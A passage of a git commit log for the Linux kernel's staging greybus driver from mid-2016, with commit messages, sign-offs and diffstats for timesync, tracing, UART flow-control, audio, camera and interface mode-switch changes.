successfully completed by the SVC Testing Done: - Successfully getting the rail names in the pwrmon_dummy sandbox branch Signed-off-by: David Lin Reviewed-by: Viresh Kumar Reviewed-by: Bartosz Golaszewski Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/svc.c | 10 +++++++++- 2 files changed, 10 insertions(+), 1 deletion(-) commit 44d6449350b866cbea613aabe5aba4aa640791cd Author: Greg Kroah-Hartman Date: Tue Jun 7 21:33:54 2016 -0700 greybus: kernel_ver.h: provide pwm_is_enabled() In the 4.7-rc1 kernel release, PWMF_ENABLED is removed and pwm_is_enabled() is the correct way to test if a pwm device is enabled, so provide a version of that function that will work on all older kernels and change the pwm.c driver to use it so that it will work on newer kernels as well. Tested: Tree now builds successfully against 3.14.y, 4.4.y, 4.5.y, 4.6.y, and 4.7-rc2 kernels Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 7 +++++++ drivers/staging/greybus/pwm.c | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) commit 4d27574cd354bc47758268c2e32a0a47b7aacfc0 Author: Vaibhav Agarwal Date: Wed Jun 8 20:33:26 2016 +0530 greybus: audio: Ratelimit err messages In case of audio mgmt connection failure, GB requests would fail giving an error message within the driver and reporting error. However there is no error handling in above HAL and it'll keep on triggering similar request via GB codec driver. This may overflood serial console. In one of the instance it locked CPU for >10sec and caused a watchdog bite. Thus ratelimit those error messages. Testing Done: compile tested Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit 109fbdfd6a23c122c564a6cd6671b9911e0a24b5 Author: Jeffrey Carlyle Date: Tue Jun 7 08:22:22 2016 -0700 greybus: svc: implement connection_quiescing call Implement Greybus remote call to connection_quiescing operation. This operation disables flow contorl for the connection and resets associated attributes. Testing done: tested along with required NuttX firmware changes, booted EVT2, inserted module, removed module, inserted module. Verified module was functioning as expected. Signed-off-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 12 ++++++++++++ drivers/staging/greybus/svc.c | 23 ++++++++++++++++++++++- 2 files changed, 34 insertions(+), 1 deletion(-) commit 423042f4b2dc763f16c27b18a19611fa1773ac30 Author: Bryan O'Donoghue Date: Sun Jun 5 14:03:30 2016 +0100 greybus: timesync: Add debugfs entry to display frame-ping in ktime This patch makes a debugfs entry in /sys/kernel/debug/greybus/X-svc/frame-ktime that generates a TimeSync ping event to the system and then subsequently presents that data to user-space as a ktime/timespec clock-monotonic value rather than as a raw frame-time, to aid humans in debugging and understanding frame-time and to provide an example of the converting a frame-time to timespec/ktime to other developers. Signed-off-by: Bryan O'Donoghue Acked-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 114 +++++++++++++++++++++++++++++++++---- 1 file changed, 102 insertions(+), 12 deletions(-) commit 00fdbae1a9d2cecfcbab98fe69e4483f80fb80c4 Author: Bryan O'Donoghue Date: Sun Jun 5 14:03:29 2016 +0100 greybus: timesync: Add gb_timesync_frame_time_to_timespec() This patch adds gb_timesync_to_timespec_by_svc() and gb_timesync_to_timespec_by_interface() respectively. These routines will convert from a given FrameTime to a ktime/timespec within an envelope of about 17 seconds. The purpose of this routine is to enable reporting of a FrameTime from a Module such as a Camera Module and to allow the AP to then convert this timestamp into a Linux-native timestamp such as ktime. This is useful and required in the v4l layer. At 19.2MHz the accuracy of this conversion is about .3 femtoseconds per count, which means at a 1 second offset from the reference the cumulative error is about 1.59 nanoseconds. 1.59 nanoseconds is still less than 1 clock's worth of error @ 19.2MHz where each clock is 52.0833~ nanoseconds. We're aiming for a maximum error rate of 30 nanoseconds which means at the clock rate we are running at, the conversion from a FrameTime to a Linux ktime/timespec can be plus-or-minus about 17 seconds from the reference FrameTime/ktime pair before the routine will refuse to convert. A realistic use-case for this routine is envisaged to be - Greybus message received - Some processing takes place - taking milliseconds - Call into this routine is made - Actual time between event in Module and conversion in AP < 1 second - Error rate in conversion at 1.59 nanoseconds is less than 1 clock @ 19.2MHz This routine is not designed to allow for conversions for events with large gaps between the event time and the current reference time for conversion. Since FrameTime can be a very large integer we cannot convert an arbitrarily large FrameTime to ktime, the feeling and objective here is to make an over-provisioned envelope that in practical terms can never be exceeded by expected use-cases. To convert longer gaps more work would have to be done but ultimately some limit needs to be imposed and right now 0.3 femotseconds per clock on MSM8994 is both accurate and generous. Adds: - timesync.c::gb_timesync_frame_time_to_timespec_by_svc( struct gb_svc *, u64 frame_time, struct timespec *ts) - gb_svc is a pointer to a standard greybus SVC data structure - frame_time is a system FrameTime. - ts is an output parameter which represents the converted FrameTime as a CLOCK_MONOTONIC timespec value. - Returns 0 on success or a negative number indicating the type of error on failure. - timesync.c::gb_timesync_frame_time_to_timespec_by_interface( struct gb_interface *, u64 frame_time, struct timespec *ts) - gb_svc is a pointer to a standard greybus Interface data structure - frame_time is a system FrameTime. - ts is an output parameter which represents the converted FrameTime as a CLOCK_MONOTONIC timespec value. - Returns 0 on success or a negative number indicating the type of error on failure. Signed-off-by: Bryan O'Donoghue Acked-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 268 +++++++++++++++++++++++++++++++++---- drivers/staging/greybus/timesync.h | 4 + 2 files changed, 247 insertions(+), 25 deletions(-) commit 6da7c88972a0153db427c14c6c5b2c4e2ccaefb7 Author: Bryan O'Donoghue Date: Sun Jun 5 14:03:28 2016 +0100 greybus: tracepoints: Add standard Linux tracepoint for TimeSync event This patch adds a tracepoint to the TimeSync ISR, the purpose of which is to indicate a TimeSync event has happened. This tracepoint can be enabled by issuing the following command: echo 1 > /sys/kernel/debug/tracing/events/greybus/gb_timesync_irq/enable Synchronization looks like this: TIMESTAMP FUNCTION | | 147.865788: gb_timesync_irq: strobe 1/4 frame-time 2910076529 147.866781: gb_timesync_irq: strobe 2/4 frame-time 2910095689 147.867777: gb_timesync_irq: strobe 3/4 frame-time 2910114820 147.868791: gb_timesync_irq: strobe 4/4 frame-time 2910134038 A ping can be triggered like this: cat /sys/kernel/debug/greybus/frame-time And that ping looks like this: TIMESTAMP FUNCTION | | 147.934678: gb_timesync_irq: ping 4/4 frame-time 2911380356 169.280551: gb_timesync_irq: ping 4/4 frame-time 3321221069 Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Acked-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 28 ++++++++++++++++++++++++++++ drivers/staging/greybus/timesync.c | 17 ++++++++++++----- 2 files changed, 40 insertions(+), 5 deletions(-) commit 4a4484274f7431c68e104a66b497639e1ac9022c Author: Bryan O'Donoghue Date: Sun Jun 5 14:03:27 2016 +0100 greybus: timesync: Bind TimeSync into Greybus TimeSync needs to bind into Greybus in a few places. - core.c To initialize its internal state and tear-down its internal state. To schedule a timesync to a newly added Bundle after probe() completes. - svc.c To get access to the SVC and enable/disable timesync as well as extracting the authoritative time from the SVC to subsequently disseminate to other entities in the system. - interface.c To get access to an Interface in order to inform APBx of timesync enable/disable and authoritative operations. This patch adds those bindings into Greybus core. Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Acked-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 10 ++++++++++ drivers/staging/greybus/interface.c | 7 +++++++ drivers/staging/greybus/svc.c | 18 +++++++++++++++--- 3 files changed, 32 insertions(+), 3 deletions(-) commit 970dc85bd95d931def5926ae81b5aa84ef14fb7c Author: Bryan O'Donoghue Date: Sun Jun 5 14:03:26 2016 +0100 greybus: timesync: Add timesync core driver This patch adds the core timesync functionality. 0. arche-platform.c/arche-apb-ctrl.c Modifies the platform layer to hook the incoming TIME_SYNC signal up to the timesync strobe IRQ handler. If the arche-platform driver can't satisfy the request for the wake-detect line, it will return -EAGAIN and the calling work-queue must reschedule the attempt to get exclusive access to the wake-detect pin logic. A private data field is added to the arche-platform driver to enable passing of a timesync pointer to the ISR responsible for synchronizing time. 1. timesync.c A new file added which contains all of the logic associated with sending greybus commands to SVC, APBx or Interfaces to enable, disable and disseminate timing information. 2. timesync_platform.c Any platform/arch specific code goes into timesync_platform.c. Originally the idea was to keep the x86 and ARM arch dependencies in a timesync_platform_arch.c file - however with further refinement that's currently not necessary however just-in-case it becomes necessary to resuscitate arch or platform specific methods for accessing timer resources that access shouldn't be part of the core timesync.c logic and so for the moment we access these timer resources through a thin access layer in timesync_platform.c. Expect this to go away long term ideally. Signed-off-by: Bryan O'Donoghue Acked-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +- drivers/staging/greybus/arche-apb-ctrl.c | 16 +- drivers/staging/greybus/arche-platform.c | 71 +- drivers/staging/greybus/arche_platform.h | 9 +- drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/interface.c | 55 ++ drivers/staging/greybus/interface.h | 5 + drivers/staging/greybus/timesync.c | 1021 +++++++++++++++++++++++++++ drivers/staging/greybus/timesync.h | 41 ++ drivers/staging/greybus/timesync_platform.c | 77 ++ 10 files changed, 1288 insertions(+), 13 deletions(-) commit 698282f659d7c657aad4e0a72ed33190f2332e04 Author: Vaibhav Agarwal Date: Fri Jun 3 17:45:30 2016 +0530 greybus: audio: Report DISCONNECT event after resource cleanup. Reporting DISCONNECT event immediately on module removal causes race condition while re-populating mixer controls by above HAL. The original intent was to avoid any (invalid) mixer control modification request from above layer. Ideally, it should report 'MODULE_NOT_READY' on module plug-out and DISCONNECT after resource cleanup. This would involve changes in GB Audio manager and HAL layer. Since we already have a plan to remove GB Audio manager, I'm making this change in GB codec driver to avoid any race condition. Also, codec driver already ensures mixer control modifcations for disconnected modules are not triggered to AP Bridge audio FW & reported invalid. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 02f1c12cca45ed684a268563919787f06877bef2 Author: Vaibhav Agarwal Date: Fri Jun 3 17:45:29 2016 +0530 greybus: audio: Report warning in case module is already removed Added warning message in find_gb_module(). This will help to identify invalid mixer control/widget modification triggered from above layer. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 2 ++ 1 file changed, 2 insertions(+) commit 0790c09a3bc987a22749b0fb9b3effa313b1ece7 Author: Alex Elder Date: Fri Jun 3 15:55:39 2016 -0500 greybus: tracing: fix message traces The original message trace events were defined long before the recent tracing updates. It records information that's not really directly related to a message. Change the information recorded and reported for message events to just be the content of the message header. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 32 ++++++++++++-------------------- 1 file changed, 12 insertions(+), 20 deletions(-) commit 495787a792ac498843b25e5569597c24cd026f2b Author: Alex Elder Date: Fri Jun 3 15:55:38 2016 -0500 greybus: tracing: add timing traces Bryan reports he used certain message traces to determine when time sync messages transit the boundary between the Greybus core and the host device. This patch adds two trace events--one a message event for outbound messages (because it indicates its operation and its destination), and one host device event for incoming messages (because message information isn't available as early as desired). These events are being created to allow the same sort of analysis of messages without having to store extra information for every message trace. (The next patch changes the information a message trace records.) Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 ++ drivers/staging/greybus/es2.c | 4 ++++ drivers/staging/greybus/greybus_trace.h | 15 ++++++++++++++- drivers/staging/greybus/hd.c | 3 +++ 4 files changed, 23 insertions(+), 1 deletion(-) commit 79c8c6494220dafeaedf8dc94b50c9a787e25e5d Author: Alex Elder Date: Fri Jun 3 15:55:37 2016 -0500 greybus: tracing: define connection traces Define a new gb_connection trace point event class, used to trace events associated with the connection abstraction. Define four basic trace events for this--creation, drop of last reference, and when adding or dropping any other reference. There are certainly more events that we might want to add, but aim is to just get the basic framework in place. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 21 +++++++++ drivers/staging/greybus/greybus_trace.h | 75 +++++++++++++++++++++++++++++++++ 2 files changed, 96 insertions(+) commit 4f9c5c0bbb9fb4715ca01cd28ba04a3117a9be6f Author: Alex Elder Date: Fri Jun 3 15:55:36 2016 -0500 greybus: tracing: define bundle traces Define a new gb_bundle trace point event class, used to trace events associated with the bundle abstraction. Define four basic trace points for this--creation time, drop of last reference, before adding it to its interface and when removed when its interface is destroyed. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 9 ++++++ drivers/staging/greybus/greybus_trace.h | 56 +++++++++++++++++++++++++++++++++ 2 files changed, 65 insertions(+) commit 6879dbf15e866565cde7591337c2fcca7440ab6f Author: Alex Elder Date: Fri Jun 3 15:55:35 2016 -0500 greybus: tracing: add interface mode_switch Add the value of an interface's mode_switch field to the information tracked and reported for tracing. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 14a36ae70429f2872a8f750c60c75d14862761dc Author: Alex Elder Date: Fri Jun 3 15:55:34 2016 -0500 greybus: tracing: assign "parent" id first Most abstractions to be traced will have a sort of "parent" object it is associated with, and an identifier for that parent is stored with the as trace event data. For example, the parent of a message is the operation it's a part of, and the parent of an operation is the connection it uses. We'll arrange to define that parent id first in all events. Most abstractions already do this. Move an interface's module id so it's defined and assigned first. The message traces are going to be changed soon, so leave that one alone. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c65fdf031816001dde2bf852560c86d226e54da4 Author: Alex Elder Date: Fri Jun 3 15:55:33 2016 -0500 greybus: tracing: fix module num_interfaces A module's num_interfaces field is included in the data to be recorded for tracing, but it's never assigned or reported. Fix its type to be size_t, to match its definition in the gb_module structure. Also correct a format length modifier used for a host device's num_cports field. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 1ea3ed54dcc2e623db650cf9592d4d3469c99e65 Author: Alex Elder Date: Fri Jun 3 15:55:32 2016 -0500 greybus: tracing: reorder trace definitions Move the definition of the module trace events below those for the interface. We'll define them in an order that represents a sort of layering of the abstractions (note not all of these are defined yet): message operation connection bundle interface module host device Other tracepoints (like perhaps some tied to timesync) will go at the beginning or end. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 106 ++++++++++++++++---------------- 1 file changed, 53 insertions(+), 53 deletions(-) commit c507397455a6b0b7de7393dad9b4c46c6926bc3f Author: Alex Elder Date: Fri Jun 3 15:55:31 2016 -0500 greybus: tracing: fix host device num_cports The type of the gb_host_device num_cports field is size_t. Correct the num_cports data recorded with a host device event so its type matches that; fix the format length modifier used for it as well. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 76639ef579012a1276043ed765a14170997155b2 Author: Alex Elder Date: Fri Jun 3 15:55:30 2016 -0500 greybus: define BUNDLE_ID_NONE Define a bundle ID that means "no bundle". This will be used for tracing connection events during the portion of a connection's lifetime when it has no bundle associated with it. Don't allow any bundle to be created using that ID. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 5 +++++ drivers/staging/greybus/bundle.h | 2 ++ 2 files changed, 7 insertions(+) commit e5f23c45841ff371e4e515e8c5395fc659017930 Author: Alex Elder Date: Fri Jun 3 15:55:29 2016 -0500 greybus: tracing: fix "make check" warnings Some of the trace buffer fields were defined as Booleans. This leads to two problems reported by "make check": - the __field() macro (or some descendent macro) performs a sizeof(bool) operation, which results in a warning - The TP_printk() macro, which specifies a printf() style format string, produces a warning when one attempts to format a Boolean as an integer. Fix both problems implicitly converting Boolean values from the data structures into integers in the trace buffer. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 17ca677018117deee1bd75b301894dca975e7fc5 Author: Evgeniy Borisov Date: Tue May 31 11:33:11 2016 +0300 greybus: camera-gb: Implement camera module reference counting as subject. In explanation: The main idea for implementing reference counting is to not block exit until any other modules are in use. Camera responsibility is to handle properly any additional calls after camera exit and that what this patch is doing: 1. Free camera module when reference count is zero. 2. After camera cleanup handle properly any additional ongoing transaction. Return error if connection is destroyed. Signed-off-by: Evgeniy Borisov Reviewed-by: Gjorgji Rosikopulos Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 97 +++++++++++++++++++++++++++++----------- 1 file changed, 72 insertions(+), 25 deletions(-) commit 6c5ce637db01c33712db996a78a74b25f3a5e0e3 Author: Evgeniy Borisov Date: Tue May 31 11:33:10 2016 +0300 greybus: camera-gb: Extend gb camera module structure Add additional information in gb camera module. - interface ID - reference count - release handle Signed-off-by: Evgeniy Borisov Reviewed-by: Gjorgji Rosikopulos Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-camera.h | 6 ++++++ 1 file changed, 6 insertions(+) commit 07f91c75b490f67b1684a3a4d2b708a19ab93676 Author: Evgeniy Borisov Date: Tue May 31 11:33:09 2016 +0300 greybus: camera-gb: Add description of interface header Add description for all interface structures in gb-camera.h. Signed-off-by: Evgeniy Borisov Reviewed-by: Gjorgji Rosikopulos Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-camera.h | 67 ++++++++++++++++++++++++++++++++++--- 1 file changed, 63 insertions(+), 4 deletions(-) commit 68ee90c29ea4068e03ad637af07f6ad7c27da544 Author: Viresh Kumar Date: Mon May 30 14:32:09 2016 +0530 greybus: Add comment about the mode_switch_started flag Add a comment to describe the purpose of the flag. Suggested-by: Vaibhav Hiremath Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 5 +++++ 1 file changed, 5 insertions(+) commit 7dea1d5f8a9d3141881dab40bb55c1a7ae84d8ab Author: Viresh Kumar Date: Mon May 30 13:05:10 2016 +0530 greybus: interface: Mode switch takes over a second Mode switch takes just over a second to complete and the current timeout of one second isn't sufficient. Mode-switch logs from EVT 1.5: [ 56.709082] gb-firmware 1-3.3.1: Requested firmware package 'ara_00000126_00001002_fffe0001_ff980067_03.tftf' [ 57.003968] gb_control_mode_switch_operation: 176 [ 58.041616] greybus 1-3.3: mode switch detected Increase the timeout to two seconds. Tested with EVT 1.5 with gpbridge-test module. Signed-off-by: Viresh Kumar Tested-by: Karthik Ravi Shankar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7ff6e0128a7da5d5a8b51abb09fafeb7b8944792 Author: Viresh Kumar Date: Mon May 30 13:05:09 2016 +0530 greybus: control: Mode-switch is a 'core' operation The operation layer allows only the 'core' operations on a connection, which is in its 'disconnecting' state. Mode switch is sent at the very end of interface-disable sequence, and the control connection is already in its 'disconnecting' state at that time. And so gb_operation_get_active() always fail with error -ENOTCONN. The operation core already has support for such 'core' operations, just that we were missing the needed flag while creating the mode switch operation. Fix that. Tested on EVT 1.5 with gpbridge-test module. Signed-off-by: Viresh Kumar Tested-by: Karthik Ravi Shankar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit c92c1d026b1e13f20fee3350975a4986608ff84a Author: Viresh Kumar Date: Mon May 30 13:05:08 2016 +0530 greybus: fw-mgmt: Add hooks to do mode-switch This is the last step to required to finish the mode switch story. That is, call the hook provided by Interface layer to accomplish mode switch. Tested on EVT 1.5 with gpbridge-test module. Signed-off-by: Viresh Kumar Tested-by: Karthik Ravi Shankar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 64060fe95458f22bac7327b2ee8dc5ce9e488d44 Author: Viresh Kumar Date: Mon May 30 11:31:53 2016 +0530 greybus: gbphy: Remove protocol specific version handling We should be using the generic version handling at bundle level, instead of at protocol level for bridged PHY devices as well. The bundle version handling is already in place, though it is *not* used today as we haven't bumped the version of control protocol yet. Remove protocol specific handling for bridged PHY devices. Tested on EVT 1.5 with gpbridge-test module. No nuttx changes are required with this. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 3 --- drivers/staging/greybus/gbphy.c | 27 --------------------------- drivers/staging/greybus/gbphy.h | 1 - drivers/staging/greybus/gpio.c | 4 ---- drivers/staging/greybus/greybus_protocols.h | 25 ------------------------- drivers/staging/greybus/i2c.c | 4 ---- drivers/staging/greybus/pwm.c | 4 ---- drivers/staging/greybus/sdio.c | 4 ---- drivers/staging/greybus/spi.c | 4 ---- drivers/staging/greybus/uart.c | 4 ---- drivers/staging/greybus/usb.c | 4 ---- 11 files changed, 84 deletions(-) commit 5e569115e9b9d4af631589b9d9cc5227a660b008 Author: Viresh Kumar Date: Mon May 30 11:31:52 2016 +0530 greybus: Remove unused VERSION specific macros We don't use these anymore. Drop them. Note that some macro's specific to bridged PHY devices aren't removed in the patch, as gbsim will break otherwise. They will be removed separately. Compile tested. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 27 --------------------------- drivers/staging/greybus/usb.c | 4 ---- drivers/staging/greybus/vibrator.c | 4 ---- 3 files changed, 35 deletions(-) commit 5dad5c314b686ca84aa5477462fcfd2b1abcba46 Author: Axel Haslam Date: Tue May 31 14:36:13 2016 +0200 greybus: uart: wait for credits on shutdown We should try to wait until all credits are accounted for before returning from shutdown. For this purpose add a helper function that will wait on completion, and call it form the shutdown. This helper will also be useful when "wait until sent" is implemented. Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit 2b3b87f056b276b688cb0429faf682cac33dbf7b Author: Axel Haslam Date: Tue May 31 14:36:12 2016 +0200 greybus: uart: Implement flush_buffer Data may be held pening in the hardware because of flow control mechanisms. When the port is closed, we need to flush all data that was not sent. For this, use the greybus message GB_UART_TYPE_FLUSH_FIFOS which will flush all data queued on the module but not yet sent on the data line. Suggested-by: Johan Hovold Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 7 +++++++ drivers/staging/greybus/uart.c | 15 +++++++++++++++ 2 files changed, 22 insertions(+) commit a8bc00fb88037e0107a0682478f47396a073be5c Author: Axel Haslam Date: Tue May 31 14:36:11 2016 +0200 greybus: uart: Add credits based tracking for transmit path To avoid polling the firmware for space, a credit based system is implemented. The host will keep track of how many credits (bytes) it has sent to the firmware, and stop sending data when the quota is filled. The host will be informed that the firmware has more room for data when it handles the receive_credits request message from the firmware, and will continue to write data as credits become available. The firmware and the host may implement an algorithm to aggregate credits, and avoid extra greybus traffic. Suggested-by: Johan Hovold Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 5 +++ drivers/staging/greybus/uart.c | 66 ++++++++++++++++++++++++++++- 2 files changed, 70 insertions(+), 1 deletion(-) commit 8d6fbe9bf9947ee875c222a2e33d5977e2d052f2 Author: Axel Haslam Date: Tue May 31 14:36:10 2016 +0200 greybus: uart: Use a fifo to send data to the modules The firmware now buffers data instead of blocking while the transfer is sent, and the write operation cannot sleep. Instead of using gb_transfer_sync (which sleeps) in the write callback, buffer data in a fifo and send it from from a work queue. The write_room callback will will report 1 byte less that what is really available in the fifo, to leave space for extra characters that may be added by the tty layer. Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 123 +++++++++++++++++++++++++++++++++++------ 1 file changed, 105 insertions(+), 18 deletions(-) commit 219ffcf3a51d0e0d8464d42db01e1e745a0d690f Author: Axel Haslam Date: Tue May 31 14:36:09 2016 +0200 greybus: uart: Implement dtr_rts callback. Dtr_dts allows the tty layer to set the flow control lines to the correct state during open and close. Note that locking for newctrl is missing throughout the driver and will be addressed on a separate patch. Suggested-and-reviewed-by: Johan Hovold Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) commit e55c25206d5c99b12443eec37b4832d6817170ba Author: Axel Haslam Date: Tue May 31 14:36:08 2016 +0200 greybus: uart: Handle CRTSCTS flag in termios Handle the CRTSCTS flag in set_termios, so that auto flow control can be turned off. For this, add a new flag in the line coding request specifically for this purpose. Reviewed-by: Johan Hovold Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 3 +++ drivers/staging/greybus/uart.c | 10 ++++++++-- 2 files changed, 11 insertions(+), 2 deletions(-) commit 12823178332216daa76512d256dbdacb5ba76ea7 Author: Johan Hovold Date: Fri May 27 18:23:01 2016 +0200 greybus: hd: fix gb_hd_release tracepoint The recently added gb_hd_release tracepoint was added to the wrong function. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit dacf3eb7f3c1c474a55f7c24eef39011784d558c Author: Johan Hovold Date: Fri May 27 18:23:02 2016 +0200 greybus: fix tracepoint-related whitespace issues Fix some whitespace issues introduced by the recent tracepoint changes. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 2 +- drivers/staging/greybus/operation.c | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) commit 8ccf389b1909a644e5941217e243ca1c663c8160 Author: Johan Hovold Date: Fri May 27 17:26:41 2016 +0200 greybus: svc: remove deprecated hotplug operations Now that firmware has made the switch to the new interface boot sequence, we can remove support for the deprecated hotplug and hot-unplug operations. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 19 ----- drivers/staging/greybus/svc.c | 122 ---------------------------- 2 files changed, 141 deletions(-) commit 55742d2a071a569bf20f90d37b1b5b8a25a3f882 Author: Johan Hovold Date: Fri May 27 17:26:40 2016 +0200 greybus: interface: implement generic mode-switch functionality Add a generic interface for bundle drivers to use to request that a mode switch is carried out on its behalf. Mode switching involves tearing down all connections to an interface, sending a unidirectional mode-switch request, and waiting for a mailbox event that triggers deferred control connection reset and re-enumeration of the interface. In case of a timeout waiting for the interface mailbox event, or on other errors, the interface is powered off. All of this needs to be done by core from work-queue context in order not to block incoming SVC requests and bundle-device tear down. Care must also be taken to serialise against concurrent module removal events and eject requests. Special handling of legacy mode-switching is also added in order to continue to support the ES3 bootrom. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 36 ++++++- drivers/staging/greybus/connection.h | 5 + drivers/staging/greybus/control.c | 17 ++++ drivers/staging/greybus/control.h | 3 + drivers/staging/greybus/interface.c | 180 ++++++++++++++++++++++++++++++++++- drivers/staging/greybus/interface.h | 10 ++ drivers/staging/greybus/svc.c | 55 +---------- 7 files changed, 249 insertions(+), 57 deletions(-) commit 08f94352e8d09f7db07b4e894b3c223ee92df5ad Author: Johan Hovold Date: Fri May 27 17:26:39 2016 +0200 greybus: control: add error message to mode-switch helper Print an informative error message in case sending the mode-switch request fails. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit e3fbe484323a026ed3689c72bac186ab2009dbcb Author: Johan Hovold Date: Fri May 27 17:26:38 2016 +0200 greybus: kernel_ver: backport reinit_completion to pre-3.13 Backport upstream reinit_completion() to pre-3.13 kernels. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 800d6c8f4e66cc6ff3737b4de1272c31cd9e1e3c Author: Johan Hovold Date: Fri May 27 17:26:37 2016 +0200 greybus: connection: add flush host-device callback Add a new host-device callback to flush any host-device queues, including any ongoing transfers, as part of connection tear down. The host-device buffers are flushed after the disconnecting operation have completed and the AP queues have been emptied. This can be used to flush already queued messages which upon reception would have been discarded by the remote end anyway. Note that this does not remove the need to flush any host-device queues as part of CPort disable which needs to make the CPort ready for reuse after deallocating all associated state and resetting the port. Suggested-by: Mitchell Tasman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 24 ++++++++++++++++++++++++ drivers/staging/greybus/hd.h | 1 + 2 files changed, 25 insertions(+) commit 